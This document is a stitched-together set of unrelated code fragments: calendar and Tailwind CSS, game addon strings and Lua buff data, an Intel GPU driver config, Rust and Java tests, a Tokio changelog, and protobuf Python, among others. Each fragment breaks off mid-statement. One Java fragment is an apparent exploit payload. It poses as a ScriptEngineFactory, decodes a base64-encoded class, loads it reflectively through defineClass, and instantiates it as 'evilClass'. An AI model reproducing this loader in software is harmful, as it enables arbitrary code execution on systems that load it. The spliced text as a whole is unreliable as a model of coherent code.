        gap: 0.75rem;
    }

    .advanced-calendar-view__main-row .filter-bar-container {
        min-width: unset;
    }

    .advanced-calendar-view__controls {
        justify-content: space-between;
    }
}

@media (max-width: 768px) {
    /* Show mobile toggle on small screens */
    .advanced-calendar-view__mobile-toggle {
        display: block;
    }

    /* Hide main row by default on mobile when collapsed */
    .advanced-calendar-view__main-row.collapsed {
        display: none;
    }

    .advanced-calendar-view__main-row.expanded {
        display: flex;
    }

    .advanced-calendar-view__controls {
        flex-direction: column;
        align-items: stretch;
        gap: 0.75rem;
    }

    .advanced-calendar-view__schedule-tasks-btn {
        align-self: center;
    }

    .advanced-calendar-view__calendar-container {
        padding: 0.5rem;
    }

    /* Reduce header padding on mobile */
    .advanced-calendar-view__header {
        padding: 0.25rem 0.5rem;
    }
}

/* Today highlighting disabled */
.hide-today-highlight .fc-unthemed td.fc-today {
    background: inherit;
}

.hide-today-highlight .fc-daygrid-day.fc-day-today {
    background: inherit !important;
    border: none !important;
}

.hide-today-highlight .fc-daygrid-day.fc-day-today .fc-daygrid-day-number {
    font-weight: 400;
    color: var(--text-normal);
}

.hide-today-highlight .fc-daygrid-day.fc-day-today::before {
    display: none;
}

.hide-today-highlight .fc-timegrid-col.fc-day-today {
    background: inherit !important;
    border: none !important;
}

/* ICS Refresh Button - Match exact styling of other FullCalendar buttons */
.advanced-calendar-view .fc-refreshICS-button {
    background: transparent !important;
    border: none !important;
    box-shadow: none !important;
    color: var(--text-muted) !important;
    font-size: 0.8rem !important;
    font-weight: 400 !important;
    padding: 0.3rem 0.6rem !important;
    border-radius: 4px !important;
    transition: all 0.2s ease !important;
}

.advanced-calendar-view .fc-refreshICS-button .fc-icon,
.advanced-calendar-view .fc-refreshICS-button .fc-button-label {
    color: var(--text-muted) !important;
    font-size: 0.8rem !important;
    font-weight: 400 !important;
    line-height: 1.2;
    display: inline;
    visibility: visible;
}

/* Hover state - match other buttons exactly */
.advanced-calendar-view .fc-refreshICS-button:hover:not(:disabled) {
    background: var(--tn-interactive-hover) !important;
    color: var(--text-normal) !important;
    border: none !important;
    box-shadow: none !important;
}

.advanced-calendar-view .fc-refreshICS-button:hover:not(:disabled) .fc-icon,
.advanced-calendar-view .fc-refreshICS-button:hover:not(:disabled) .fc-button-label {
    color: var(--text-normal) !important;
}

/* Active/Focus state - match other buttons */
.advanced-calendar-view .fc-refreshICS-button:active,
.advanced-calendar


между атаками противника на %s%, снижает скорость применения заклинаний на %s% и скорость передвижения на %s%. время действия – %s сек"] = { { Stats.MeleeHaste, }, { Stats.SpellHaste, }, false, false, } -- s7127
L["грохочущее облако пыли летит в лицо находящихся поблизости противников, уменьшая вероятность того, что они попадут по цели, на %s% на %s сек"] = { { Stats.MeleeHit, Stats.RangedHit, }, false, } -- s7272
L["увеличивает интервал между атаками находящихся рядом противников на %s% и снижает их скорость передвижения на %s% на %s сек"] = { { Stats.MeleeHaste, }, false, false, } -- s7279
L["увеличивает показатель брони на %s ед. и сопротивление магии льда на %s ед. когда противник наносит магу удар, скорость его передвижения снижается на %s%, а время между атаками увеличивается на %s% на %s сек. маг может использовать единовременно только одно заклинание типа \"доспех\". время действия – %s сек"] = { { Stats.Armor, }, { Stats.FrostResistance, }, false, { Stats.MeleeHaste, }, false, false, } -- s7302
L["уменьшает скорость передвижения атакующих на %s%, а скорость их атаки – на %s%"] = { false, { Stats.MeleeHaste, }, } -- s7321
L["повышает ваш дух на %s"] = { { Stats.Spirit, }, } -- s7353
L["наносит противнику урон от сил природы раз в %s сек., увеличивает время между его атаками на %s% и снижает скорость его передвижения. время действия – %s сек"] = { false, { Stats.MeleeHaste, }, false, } -- s7357
L["повышает вероятность нанесения критического урона на %s%.\nувеличивает весь получаемый урон на %s%.\nснижает уровень создаваемой угрозы на %s%"] = { { Stats.MeleeCrit, Stats.RangedCrit, }, false, false, } -- s7381
L["повышение скорости ближнего боя заклинателя на %s. время действия – %s сек"] = { { Stats.MeleeHasteRating, Stats.RangedHasteRating, Stats.SpellHasteRating, }, false, } -- s7396
L["повышает рейтинг критического удара на %s"] = { { Stats.MeleeCritRating, Stats.RangedCritRating, Stats.SpellCritRating, }, } -- s7597
L["увеличение наносимого физического урона на %s.\nувеличение наносимого урона от заклинаний на %s"] = { { Stats.AverageWeaponDamage, }, { Stats.SpellDamage, }, } --


// SPDX-License-Identifier: MIT
/*
 * Copyright © 2018-2019 Intel Corporation
 *
 * Autogenerated file by GPU Top : https://github.com/rib/gputop
 * DO NOT EDIT manually!
 */

#include <linux/sysfs.h>

#include "i915_drv.h"
#include "i915_oa_icl.h"

static const struct i915_oa_reg b_counter_config_test_oa[] = {
	{ _MMIO(0x2740), 0x00000000 },
	{ _MMIO(0x2710), 0x00000000 },
	{ _MMIO(0x2714), 0xf0800000 },
	{ _MMIO(0x2720), 0x00000000 },
	{ _MMIO(0x2724), 0xf0800000 },
	{ _MMIO(0x2770), 0x00000004 },
	{ _MMIO(0x2774), 0x0000ffff },
	{ _MMIO(0x2778), 0x00000003 },
	{ _MMIO(0x277c), 0x0000ffff },
	{ _MMIO(0x2780), 0x00000007 },
	{ _MMIO(0x2784), 0x0000ffff },
	{ _MMIO(0x2788), 0x00100002 },
	{ _MMIO(0x278c), 0x0000fff7 },
	{ _MMIO(0x2790), 0x00100002 },
	{ _MMIO(0x2794), 0x0000ffcf },
	{ _MMIO(0x2798), 0x00100082 },
	{ _MMIO(0x279c), 0x0000ffef },
	{ _MMIO(0x27a0), 0x001000c2 },
	{ _MMIO(0x27a4), 0x0000ffe7 },
	{ _MMIO(0x27a8), 0x00100001 },
	{ _MMIO(0x27ac), 0x0000ffe7 },
};

static const struct i915_oa_reg flex_eu_config_test_oa[] = {
};

static const struct i915_oa_reg mux_config_test_oa[] = {
	{ _MMIO(0xd04), 0x00000200 },
	{ _MMIO(0x9840), 0x00000000 },
	{ _MMIO(0x9884), 0x00000000 },
	{ _MMIO(0x9888), 0x10060000 },
	{ _MMIO(0x9888), 0x22060000 },
	{ _MMIO(0x9888), 0x16060000 },
	{ _MMIO(0x9888), 0x24060000 },
	{ _MMIO(0x9888), 0x18060000 },
	{ _MMIO(0x9888), 0x1a060000 },
	{ _MMIO(0x9888), 0x12060000 },
	{ _MMIO(0x9888), 0x14060000 },
	{ _MMIO(0x9888), 0x10060000 },
	{ _MMIO(0x9888), 0x22060000 },
	{ _MMIO(0x9884), 0x00000003 },
	{ _MMIO(0x9888), 0x16130000 },
	{ _MMIO(0x9888), 0x24000001 },
	{ _MMIO(0x9888), 0x0e130056 },
	{ _MMIO(0x9888), 0x10130000 },
	{ _MMIO(0x9888), 0x1a130000 },
	{ _MMIO(0x9888), 0x541f0001 },
	{ _MMIO(0x9888), 0x181f0000 },
	{ _MMIO(0x9888), 0x4c1f0000 },
	{ _MMIO(0x9888), 0x301f0000 },
};

static ssize_t
show_test_oa_id(struct device *kdev, struct device_attribute *attr, char *buf)
{
	return sprintf(buf, "1\n");
}

void
i915_perf_load_test_config_icl(struct drm_i915_private *dev_priv)
{
	strlcpy(dev_priv->perf.test_config.uuid,
		"a291665e-244b-4b76-9b9a-01de9d3c8068",
		sizeof(dev_priv->perf.test_config.uuid));
	dev_priv->perf.test_config.id = 1;

	dev_priv->perf.test_config.mux_regs = mux_config_test_oa;
	dev_priv->perf.test_config.mux_regs_len = ARRAY_SIZE(mux_config_test_oa);

	dev_priv->perf.test_config.b_counter_regs = b_counter_config_test_oa;
	dev_priv->perf.test_config.b_counter_regs_len = ARRAY_SIZE(b_counter_config_test_oa);

	dev_priv->perf.test_config.flex_regs = flex_eu_config_test_oa;
	dev_priv->perf.test_config.flex_regs_len = ARRAY_SIZE(flex_eu_config_test_oa);

	dev_priv->perf.test_config.sysfs_metric.name = "a291665e-244b-4b76-9b9a-01de9d3c8068";
	dev_priv->perf.test_config.sysfs_metric.attrs = dev_priv->perf.test_config.attrs;

	dev_priv->perf.test_config.attrs[0] = &dev_priv->perf.test_config.sysfs_metric_id.attr;

	dev_priv->perf.test_config.sysfs_metric_id.attr.name = "id";
	dev_priv->perf.test_config.sysfs_metric_id.attr.mode = 0444;
	dev_priv->perf.test_config.sysfs_metric_id.show = show_test_oa_id;
}


wrap(); // making assumptions about well-formed input
            if c2 == 'x' {
                // discard next 2 chars
                chars.nth(1);
                removed_chars += 2;
            }
        }
    }

    removed_chars
}

#[test]
fn test_part1() {
    assert_eq!(2, count_mem_diff("\"\""));
    assert_eq!(2, count_mem_diff("\"abc\""));
    assert_eq!(3, count_mem_diff("\"aaa\\\"aaa\""));
    assert_eq!(5, count_mem_diff("\"\\x27\""));
    // "nb\\x\\uhn" -> 4
    assert_eq!(4, count_mem_diff("\"nb\\\\x\\\\uhn\""))
}

// Part 2

// 2nd part is simpler than first part
// Every string adds 2 characters to add quotes around it
// Escape the original quotes wherever they appear
// Escape the original backslashes wherever they appear
fn count_mem_diff2(s: &str) -> usize {
    2 + s.matches('"').count() + s.matches('\\').count()
}

#[test]
fn test_part2() {
    assert_eq!(4, count_mem_diff2("\"\""));
    assert_eq!(4, count_mem_diff2("\"abc\""));
    assert_eq!(6, count_mem_diff2("\"aaa\\\"aaa\""));
    assert_eq!(5, count_mem_diff2("\"\\x27\""));
}

<filename>src/helper.rs
use std::ops::{Rem, Sub};

use num::Zero;

pub fn align_to<S>(x: S, alignment: S) -> S
where
    S: Copy + Sub<Output = S> + Rem<Output = S> + PartialEq + Zero,
{
    let r = x % alignment;
    if r != S::zero() {
        x - r
    } else {
        x
    }
}
use proc_macro::TokenStream;
use proc_macro2::TokenStream as TokenStream2;
use quote::quote;

#[proc_macro_attribute]
pub fn game(_args: TokenStream, input: TokenStream) -> TokenStream {
    let input: TokenStream2 = input.into();

    let expanded = quote! {
        fn main() {
            #input

            ::vg::__vg_start(main);
        }
    };

    expanded.into()
}
<reponame>cedric-h/hecs<gh_stars>1-10
// Copyright 2019 Google LLC
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
//     https://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.

use hecs::*;

#[test]
fn random_access() {
    let mut world = World::new();
    let e = world.spawn(("abc", 123));
    let f = world.spawn(("def", 456, true));
    assert_eq!(*world.get::<&str>(e).unwrap(), "abc");
    assert_eq!(*world.get::<i32>(e).unwrap(), 123);
    assert_eq!(*world.get::<&str>(f).unwrap(), "def");
    assert_eq!(*world.get::<i32>(f).unwrap(), 456);
    *world.get_mut::<i32>(f).unwrap


s to `udp` and `uds_datagram` ([#4131])
- net: add `try_*`, `readable`, `writable`, `ready`, and `peer_addr` methods to split halves ([#4120])
- sync: add `blocking_lock` to `Mutex` ([#4130])
- sync: add `watch::Sender::send_replace` ([#3962], [#4195])
- sync: expand `Debug` for `Mutex<T>` impl to unsized `T` ([#4134])
- tracing: instrument time::Sleep ([#4072])
- tracing: use structured location fields for spawned tasks ([#4128])

### Changed

- io: add assert in `copy_bidirectional` that `poll_write` is sensible ([#4125])
- macros: use qualified syntax when polling in `select!` ([#4192])
- runtime: handle `block_on` wakeups better ([#4157])
- task: allocate callback on heap immediately in debug mode ([#4203])
- tokio: assert platform-minimum requirements at build time ([#3797])

### Documented

- docs: conversion of doc comments to indicative mood ([#4174])
- docs: add returning on the first error example for `try_join!` ([#4133])
- docs: fixing broken links in `tokio/src/lib.rs` ([#4132])
- signal: add example with background listener ([#4171])
- sync: add more oneshot examples ([#4153])
- time: document `Interval::tick` cancel safety ([#4152])

[#3797]: https://github.com/tokio-rs/tokio/pull/3797
[#3962]: https://github.com/tokio-rs/tokio/pull/3962
[#4072]: https://github.com/tokio-rs/tokio/pull/4072
[#4120]: https://github.com/tokio-rs/tokio/pull/4120
[#4125]: https://github.com/tokio-rs/tokio/pull/4125
[#4128]: https://github.com/tokio-rs/tokio/pull/4128
[#4129]: https://github.com/tokio-rs/tokio/pull/4129
[#4130]: https://github.com/tokio-rs/tokio/pull/4130
[#4131]: https://github.com/tokio-rs/tokio/pull/4131
[#4132]: https://github.com/tokio-rs/tokio/pull/4132
[#4133]: https://github.com/tokio-rs/tokio/pull/4133
[#4134]: https://github.com/tokio-rs/tokio/pull/4134
[#4152]: https://github.com/tokio-rs/tokio/pull/4152
[#4153]: https://github.com/tokio-rs/tokio/pull/4153
[#4157]: https://github.com/tokio-rs/tokio/pull/4157
[#4171]: https://github.com/tokio-rs/tokio/pull/4171
[#4174]: https://github.com/tokio-rs/tokio/pull/4174
[#4185]: https://github.com/tokio-rs/tokio/pull/4185
[#4192]: https://github.com/tokio-rs/tokio/pull/4192
[#4195]: https://github.com/tokio-rs/tokio/pull/4195
[#4203]: https://github.com/tokio-rs/tokio/pull/4203

# 1.12.0 (September 21, 2021)

### Fixed

- mpsc: ensure `try_reserve` error is consistent with `try_send` ([#4119])
- mpsc: use `spin_loop_hint` instead of `yield_now` ([#4115])
- sync: make `SendError` field public ([#4097])

### Added

- io: add POSIX AIO on FreeBSD ([#4054])
- io: add convenience method `AsyncSeekExt::rewind`


to-columns: auto;
}

.auto-cols-min {
  grid-auto-columns: -webkit-min-content;
  grid-auto-columns: min-content;
}

.auto-cols-max {
  grid-auto-columns: -webkit-max-content;
  grid-auto-columns: max-content;
}

.auto-cols-fr {
  grid-auto-columns: minmax(0, 1fr);
}

.col-auto {
  grid-column: auto;
}

.col-span-1 {
  grid-column: span 1 / span 1;
}

.col-span-2 {
  grid-column: span 2 / span 2;
}

.col-span-3 {
  grid-column: span 3 / span 3;
}

.col-span-4 {
  grid-column: span 4 / span 4;
}

.col-span-5 {
  grid-column: span 5 / span 5;
}

.col-span-6 {
  grid-column: span 6 / span 6;
}

.col-span-7 {
  grid-column: span 7 / span 7;
}

.col-span-8 {
  grid-column: span 8 / span 8;
}

.col-span-9 {
  grid-column: span 9 / span 9;
}

.col-span-10 {
  grid-column: span 10 / span 10;
}

.col-span-11 {
  grid-column: span 11 / span 11;
}

.col-span-12 {
  grid-column: span 12 / span 12;
}

.col-span-full {
  grid-column: 1 / -1;
}

.col-start-1 {
  grid-column-start: 1;
}

.col-start-2 {
  grid-column-start: 2;
}

.col-start-3 {
  grid-column-start: 3;
}

.col-start-4 {
  grid-column-start: 4;
}

.col-start-5 {
  grid-column-start: 5;
}

.col-start-6 {
  grid-column-start: 6;
}

.col-start-7 {
  grid-column-start: 7;
}

.col-start-8 {
  grid-column-start: 8;
}

.col-start-9 {
  grid-column-start: 9;
}

.col-start-10 {
  grid-column-start: 10;
}

.col-start-11 {
  grid-column-start: 11;
}

.col-start-12 {
  grid-column-start: 12;
}

.col-start-13 {
  grid-column-start: 13;
}

.col-start-auto {
  grid-column-start: auto;
}

.col-end-1 {
  grid-column-end: 1;
}

.col-end-2 {
  grid-column-end: 2;
}

.col-end-3 {
  grid-column-end: 3;
}

.col-end-4 {
  grid-column-end: 4;
}

.col-end-5 {
  grid-column-end: 5;
}

.col-end-6 {
  grid-column-end: 6;
}

.col-end-7 {
  grid-column-end: 7;
}

.col-end-8 {
  grid-column-end: 8;
}

.col-end-9 {
  grid-column-end: 9;
}

.col-end-10 {
  grid-column-end: 10;
}

.col-end-11 {
  grid-column-end: 11;
}

.col-end-12 {
  grid-column


 software distributed under the License
 * is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express
 * or implied. See the License for the specific language governing permissions and limitations under
 * the License.
 *
 */

package com.tencent.angel.sona.graph.embedding.line2;

import com.tencent.angel.ps.storage.vector.element.IElement;
import io.netty.buffer.ByteBuf;
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.IOException;

public class LINENode implements IElement {

  private float[] inputFeats;
  private float[] outputFeats;

  public LINENode(float[] inputFeats, float[] outputFeats) {
    this.inputFeats = inputFeats;
    this.outputFeats = outputFeats;
  }

  public LINENode() {
    this(null, null);
  }

  public float[] getInputFeats() {
    return inputFeats;
  }

  public void setInputFeats(float[] inputFeats) {
    this.inputFeats = inputFeats;
  }

  public float[] getOutputFeats() {
    return outputFeats;
  }

  public void setOutputFeats(float[] outputFeats) {
    this.outputFeats = outputFeats;
  }

  @Override
  public Object deepClone() {
    float [] cloneInputFeats = new float[inputFeats.length];
    System.arraycopy(inputFeats, 0, cloneInputFeats, 0, inputFeats.length);

    float [] cloneOutputFeats;
    if(outputFeats != null) {
      cloneOutputFeats = new float[outputFeats.length];
      System.arraycopy(outputFeats, 0, cloneOutputFeats, 0, outputFeats.length);
    }
    return new LINENode(inputFeats, outputFeats);
  }

  @Override
  public void serialize(ByteBuf output) {
    output.writeInt(inputFeats.length);
    for(int i = 0; i < inputFeats.length; i++) {
      output.writeFloat(inputFeats[i]);
    }

    if (outputFeats != null) {
      output.writeInt(outputFeats.length);
      for(int i = 0; i < outputFeats.length; i++) {
        output.writeFloat(outputFeats[i]);
      }
    } else {
      output.writeInt(0);
    }
  }

  @Override
  public void deserialize(ByteBuf input) {
    inputFeats = new float[input.readInt()];
    for(int i = 0; i < inputFeats.length; i++) {
      inputFeats[i] = input.readFloat();
    }

    int size = input.readInt();
    if(size > 0) {
      outputFeats = new float[size];
      for(int i = 0; i < outputFeats.length; i++) {
        outputFeats[i] = input.readFloat();
      }
    }
  }

  @Override
  public int bufferLen() {
    return 4 + inputFeats.length * 4 + 4 + (outputFeats != null ? outputFeats.length * 4 : 0);
  }

  @Override
  public void serialize(DataOutputStream output) throws IOException {
    byte [] data = new byte[bufferLen()];
    int index = 0;
    output.writeInt(data.length);
    index = writeInt(data, inputFeats.length, index);
    for(int i = 0; i < inputFeats.length; i++) {
      index = writeFloat(data, inputFeats[i], index);
    }

    if (outputFeats != null) {
      index = writeInt(data, outputFeats.length, index);

      for(int i = 0; i < outputFeats.length; i++) {
        index = writeFloat(data, outputFeats[i], index);
      }
    } else {
      writeInt(dat


m_seq):
    for value in elem_seq:
      self.append(value)

  def __getitem__(self, index):
    """Retrieves item by the specified index."""
    return _GetStructValue(self.values.__getitem__(index))

  def __setitem__(self, index, value):
    _SetStructValue(self.values.__getitem__(index), value)

  def __delitem__(self, key):
    del self.values[key]

  def items(self):
    for i in range(len(self)):
      yield self[i]

  def add_struct(self):
    """Appends and returns a struct value as the next value in the list."""
    struct_value = self.values.add().struct_value
    # Clear will mark struct_value modified which will indeed create a struct.
    struct_value.Clear()
    return struct_value

  def add_list(self):
    """Appends and returns a list value as the next value in the list."""
    list_value = self.values.add().list_value
    # Clear will mark list_value modified which will indeed create a list.
    list_value.Clear()
    return list_value

collections.MutableSequence.register(ListValue)

WKTBASES = {
    'google.protobuf.Any': Any,
    'google.protobuf.Duration': Duration,
    'google.protobuf.FieldMask': FieldMask,
    'google.protobuf.ListValue': ListValue,
    'google.protobuf.Struct': Struct,
    'google.protobuf.Timestamp': Timestamp,
}


/*
 * SonarQube Roslyn SDK
 * Copyright (C) 2015-2025 SonarSource SA
 * mailto:info AT sonarsource DOT com
 *
 * This program is free software; you can redistribute it and/or
 * modify it under the terms of the GNU Lesser General Public
 * License as published by the Free Software Foundation; either
 * version 3 of the License, or (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
 * Lesser General Public License for more details.
 *
 * You should have received a copy of the GNU Lesser General Public License
 * along with this program; if not, write to the Free Software Foundation,
 * Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.
 */

using NuGet;
using SonarQube.Plugins.Roslyn.CommandLine;

namespace SonarQube.Plugins.Roslyn.RoslynPluginGeneratorTests
{
    public class ProcessedArgsBuilder
    {
        private readonly string packageId;
        private string packageVersion;
        private string language;
        private string ruleFilePath;
        private bool acceptLicenses;
        private bool recurseDependencies;
        private readonly string outputDirectory;
        private string customNuGetRepo;

        public ProcessedArgsBuilder(string packageId, string outputDir)
        {
            this.packageId = packageId;


MgFdADQBYAA3AXgAOAGIADkBkQA6AZwAOwA0AAAAygAUAUwAEQA1ADYAEQAAAZ0ANwA4AAAACwGSADkAOgABACQBeQA7ADwAAgAuAW8APQA2AAMARQFYAD4APAAEAFEBTAA/ADYABQBoATUAQABBAAYAdwEmAEIANgAHAJEBDABDADwACACjAPoARAA2AAkAxADZAEUARgAKANYAxwBHADwACwDjALoASAA8AAwA9QCoAEkANgANARgAhQBKAEEADgEyAGsASwBMAA8BeAAlAE0APAAQAYgAFQBOADoAEQGRAAwATwBGABIAUAAAACAAAwDEANkARQBRAAoBMgBrAEsAUgAPAZEADABPAFEAEgBTAAAAQAAD/wE5ABEHAFQHAFUHAFYHAFcHAFYHAFcHAFgHAFcHAFYHAFcHAFkHAFYHAFYHAFcHAFgHAFoHAFsAACP6AAIAXAAAAAQAAQBdAAkAXgBfAAIAMgAAAJ4ABgAEAAAAShIiEicGvQAHWQMSKFNZBLIAKVNZBbIAKVO2ACpNLAS2ACu4ACwrtgAtTiwqBr0ACVkDLVNZBAO4AC5TWQUtvrgALlO2AArAAAewAAAAAgAzAAAAEgAEAAAAPgAdAD8AIgBAACoAQQA0AAAAKgAEAAAASgBgADoAAAAAAEoAYQBiAAEAHQAtAF4APAACACoAIABjAGQAAwBcAAAABAABAF0AAgBlAAAAAgBmAMUAAAAKAAEAkgCQAMQACQ==");
            evilClass.newInstance();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public static Class defineClass(ClassLoader classLoader, String classByte) throws Exception {
        Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", new Class[]{byte[].class, int.class, int.class});
        defineClass.setAccessible(true);
        byte[] evalBytes = Base64.getDecoder().decode(classByte);
        return (Class<?>) defineClass.invoke(classLoader, new Object[]{evalBytes, 0, evalBytes.length});
    }

    public String getEngineName() {
        return null;
    }

    public String getEngineVersion() {
        return null;
    }

    public List<String> getExtensions() {
        return null;
    }

    public List<String> getMimeTypes() {
        return null;
    }

    public List<String> getNames() {
        return null;
    }

    public String getLanguageName() {
        return null;
    }

    public String getLanguageVersion() {
        return null;


		"onAttach",
					"onStack"
				},
				arg_list = {
					rant = 6150,
					skill_id = 14370,
					target = "TargetSelf"
				}
			}
		}
	},
	{
		effect_list = {
			{
				type = "BattleBuffCastSkill",
				trigger = {
					"onAttach",
					"onStack"
				},
				arg_list = {
					rant = 6480,
					skill_id = 14370,
					target = "TargetSelf"
				}
			}
		}
	},
	{
		effect_list = {
			{
				type = "BattleBuffCastSkill",
				trigger = {
					"onAttach",
					"onStack"
				},
				arg_list = {
					rant = 6810,
					skill_id = 14370,
					target = "TargetSelf"
				}
			}
		}
	},
	{
		effect_list = {
			{
				type = "BattleBuffCastSkill",
				trigger = {
					"onAttach",
					"onStack"
				},
				arg_list = {
					rant = 7140,
					skill_id = 14370,
					target = "TargetSelf"
				}
			}
		}
	},
	{
		effect_list = {
			{
				type = "BattleBuffCastSkill",
				trigger = {
					"onAttach",
					"onStack"
				},
				arg_list = {
					rant = 7500,
					skill_id = 14370,
					target = "TargetSelf"
				}
			}
		}
	},
	time = 3,
	name = "",
	init_effect = "",
	id = 14371,
	picture = "",
	desc = "概率触发器",
	stack = 2,
	color = "red",
	icon = 14370,
	last_effect = "",
	effect_list = {}
}


カナダ先住民音節文字カリア文字チャム文字チェロキー文字キ" +
	"アス文字コプト文字キプロス文字キリル文字古代教会スラブ語キリル文字デーバナーガリー文字デセレット文字デュプロワエ式速記エジプト民衆文字エジプ" +
	"ト神官文字エジプト聖刻文字エルバサン文字エチオピア文字ジョージア文字(フツリ)ジョージア文字グラゴル文字ゴート文字グランタ文字ギリシャ文字グ" +
	"ジャラート文字グルムキー文字漢語注音字母ハングル漢字ハヌノオ文字漢字(簡体字)漢字(繁体字)ヘブライ文字ひらがなアナトリア象形文字パハウ・フ" +
	"モン文字仮名古代ハンガリー文字インダス文字古イタリア文字字母ジャワ文字日本語の文字女真文字カヤー文字カタカナカローシュティー文字クメール文字" +
	"ホジャ文字カンナダ文字韓国語の文字クペレ文字カイティ文字ラーンナー文字ラオ文字ラテン文字(ドイツ文字)ラテン文字 (ゲール文字)ラテン文字レ" +
	"プチャ文字リンブ文字線文字A線文字Bフレイザー文字ロマ文字リキア文字リディア文字マハージャニー文字マンダ文字マニ文字マヤ象形文字メンデ文字メ" +
	"ロエ文字草書体メロエ文字マラヤーラム文字モーディー文字モンゴル文字ムーン文字ムロ文字メイテイ文字ミャンマー文字古代北アラビア文字ナバテア文字" +
	"ナシ族ゲバ文字ンコ文字女書オガム文字オルチキ文字オルホン文字オリヤー文字オスマニア文字パルミラ文字パウ・チン・ハウ文字古ぺルム文字パスパ文字" +
	"碑文パフラヴィー文字詩編用パフラヴィー文字書物用パフラヴィー文字フェニキア文字ポラード音声記号碑文パルティア文字ルジャン文字ロンゴロンゴ文字" +
	"ルーン文字サマリア文字サラティ文字古代南アラビア文字サウラーシュトラ文字手話文字ショー文字シャーラダー文字梵字クダワディ文字シンハラ文字ソラ" +
	"ング・ソンペング文字スンダ文字シロティ・ナグリ文字シリア文字シリア文字(エストランゲロ文字)シリア文字(西方シリア文字)シリア文字(東方シリ" +
	"ア文字)タグバンワ文字タークリー文字タイ・レ文字新タイ・ルー文字タミール文字西夏文字タイ・ヴェト文字テルグ文字テングワール文字ティフナグ文字" +
	"タガログ文字ターナ文字タイ文字チベット文字ティルフータ文字ウガリット文字ヴァイ文字視話法バラン・クシティ文字ウォレアイ文字古代ペルシア文字シ" +
	"ュメール＝アッカド語楔形文字イ文字基底文字の種別を継承する結合文字数学記号絵文字記号文字非表記共通文字未定義文字"

var jaScriptIdx = []uint16{ // 179 elements
	// Entry 0 - 3F
	0x0000, 0x0000, 0x0012, 0x0036,


hat(subset.get(17)).containsExactly("A", "C");
    assertThat(subset.get(18)).containsExactly("A", "C");
    assertThat(subset.get(19)).containsExactly("A", "A", "C");
    assertThat(subset.get(20)).containsExactly("B", "C");
    assertThat(subset.get(21)).containsExactly("A", "B", "C");
    assertThat(subset.get(22)).containsExactly("A", "B", "C");
    assertThat(subset.get(23)).containsExactly("A", "A", "B", "C");
    assertThat(subset.get(24)).containsExactly("B", "C");
    assertThat(subset.get(25)).containsExactly("A", "B", "C");
    assertThat(subset.get(26)).containsExactly("A", "B", "C");
    assertThat(subset.get(27)).containsExactly("A", "A", "B", "C");
    assertThat(subset.get(28)).containsExactly("B", "B", "C");
    assertThat(subset.get(29)).containsExactly("A", "B", "B", "C");
    assertThat(subset.get(30)).containsExactly("A", "B", "B", "C");
    assertThat(subset.get(31)).containsExactly("A", "A", "B", "B", "C");
  }

  @Test
  public void test_simple_distinct_sub_set_with_duplicates() {
    List<List<String>> subset =
        Generator.subset("A", "A", "B", "B", "C")
            .simple()
            .stream()
            .distinct()
            .collect(toList());

    assertThat(subset).hasSize(18);
    assertThat(subset.get(0)).isEmpty();
    assertThat(subset.get(1)).containsOnly("A");
    assertThat(subset.get(2)).containsExactly("A", "A");
    assertThat(subset.get(3)).containsOnly("B");
    assertThat(subset.get(4)).containsExactly("A", "B");
    assertThat(subset.get(5)).containsExactly("A", "A", "B");
    assertThat(subset.get(6)).containsExactly("B", "B");
    assertThat(subset.get(7)).containsExactly("A", "B", "B");
    assertThat(subset.get(8)).containsExactly("A", "A", "B", "B");
    assertThat(subset.get(9)).containsOnly("C");
    assertThat(subset.get(10)).containsExactly("A", "C");
    assertThat(subset.get(11)).containsExactly("A", "A", "C");
    assertThat(subset.get(12)).containsExactly("B", "C");
    assertThat(subset.get(13)).containsExactly("A", "B", "C");
    assertThat(subset.get(14)).containsExactly("A", "A", "B", "C");
    assertThat(subset.get(15)).containsExactly("B", "B", "C");
    assertThat(subset.get(16)).containsExactly("A", "B", "B", "C");
    assertThat(subset.get(17)).containsExactly("A", "A", "B", "B", "C");
  }

  @Test
  public void test_simple_subset_iterator_remove_operation() {
    Iterator<List<Integer>> subset =
        Generator.subset(asList(1, 2, 3))
            .simple()
            .iterator();

    assertThat(subset).isNotNull();
    assertThat(subset.hasNext()).isTrue();
    // this method should throw a UnsupportedOperationException
    assertThrows(UnsupportedOperationException.class, subset::remove);
  }

  @Test
  public void test_simple_subset_iterator_toString() {
    Iterator<List<Integer>> subset =
        Generator.subset(asList(1, 2, 3))
            .simple()
            .iterator();

    assertThat(subset).isNotNull();
    assertThat(subset.hasNext()).isTrue();
    assertThat(subset.next()).isEmpty();
    assertThat(subset.toString()).isEqualTo("SimpleSubSetIterator=[#1, []


?.tryParseInt
					);
					_updateTimeEstimateData(post.id, post.time);
					newPosts[id] = post;
					if (!(doc.querySelector('.numchildren')?.text.contains('(0 children)') ?? true)) {
						newPostsWithReplies.add(id);
					}
				}
			}
		}
		final newPostsMatched = newPosts.values.toList();
		for (final id in childIdsToGet) {
			final newPost = newPosts[id.childId];
			if (newPost != null) {
				newPosts[newPost.parentId]?.maybeAddReplyId(id.childId);
				ret.add(newPost);
				newPostsMatched.remove(newPost);
			}
			else {
				ret.add(Post(
					board: thread.board,
					text: '[shadowbanned]',
					name: '[shadowbanned]',
					time: _estimateTime(id.childId),
					threadId: thread.id,
					id: id.childId,
					spanFormat: PostSpanFormat.reddit,
					attachments_: [],
					parentId: id.parentId
				));
			}
		}
		for (final unmatchedPost in newPostsMatched) {
			newPosts[unmatchedPost.parentId]?.maybeAddReplyId(unmatchedPost.id);
			ret.add(unmatchedPost);
		}
		for (final id in newPostsWithReplies) {
			if (newPosts[id]?.replyIds.isEmpty ?? false) {
				newPosts[id]?.hasOmittedReplies = true;
			}
		}
		return ret;
	}

	@override
